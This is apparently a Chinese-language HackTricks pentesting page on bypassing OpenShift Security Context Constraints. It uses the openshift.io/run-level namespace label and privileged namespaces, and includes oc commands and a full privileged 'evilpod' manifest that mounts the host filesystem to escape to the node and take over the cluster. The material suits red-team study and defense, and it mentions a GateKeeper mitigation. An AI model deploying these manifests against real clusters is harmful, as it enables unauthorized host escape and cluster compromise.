Openshift - SCC bypass

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

该页面的原作者是 Guillaume

特权命名空间

默认情况下,SCC 不适用于以下项目:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

如果您在这些命名空间之一中部署 pod,将不会强制执行 SCC,从而允许部署特权 pod 或挂载主机文件系统。

命名空间标签

根据 RedHat 文档,有一种方法可以禁用 pod 上的 SCC 应用。您需要至少拥有以下权限之一:

  • 在此命名空间中创建命名空间并创建 pod
  • 编辑命名空间并在此命名空间中创建 pod
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

特定标签 openshift.io/run-level 使用户能够绕过应用程序的 SCCs。根据 RedHat 文档,当使用此标签时,该命名空间内的所有 pod 都不执行任何 SCCs,有效地移除了任何限制。

添加标签

要在您的命名空间中添加标签:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

通过 YAML 文件创建带标签的命名空间:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

现在,在命名空间中创建的所有新 pod 不应具有任何 SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

在没有 SCC 的情况下,您的 pod 定义没有任何限制。这意味着可以轻松创建恶意 pod 以逃逸到主机系统上。

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

现在,提升权限以访问主机系统并随后接管整个集群,获得“cluster-admin”权限变得更加容易。请在以下页面中查找 Node-Post Exploitation 部分:

Attacking Kubernetes from inside a Pod

自定义标签

此外,根据目标设置,某些自定义标签/注释可能与之前的攻击场景以相同方式使用。即使不是专门为此而设计,标签也可以用于授予权限,限制或不限制特定资源。

如果您可以读取一些资源,请尝试查找自定义标签。以下是一些有趣的资源列表:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

列出所有特权命名空间

$ oc get project -o yaml | grep 'run-level' -b5

高级利用

在 OpenShift 中,如前所示,拥有在带有 openshift.io/run-level 标签的命名空间中部署 pod 的权限可能导致对集群的简单接管。从集群设置的角度来看,这一功能 无法被禁用,因为它是 OpenShift 设计的固有部分。

然而,像 Open Policy Agent GateKeeper 这样的缓解措施可以防止用户设置此标签。

为了绕过 GateKeeper 的规则并设置此标签以执行集群接管,攻击者需要识别替代方法。

参考文献

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks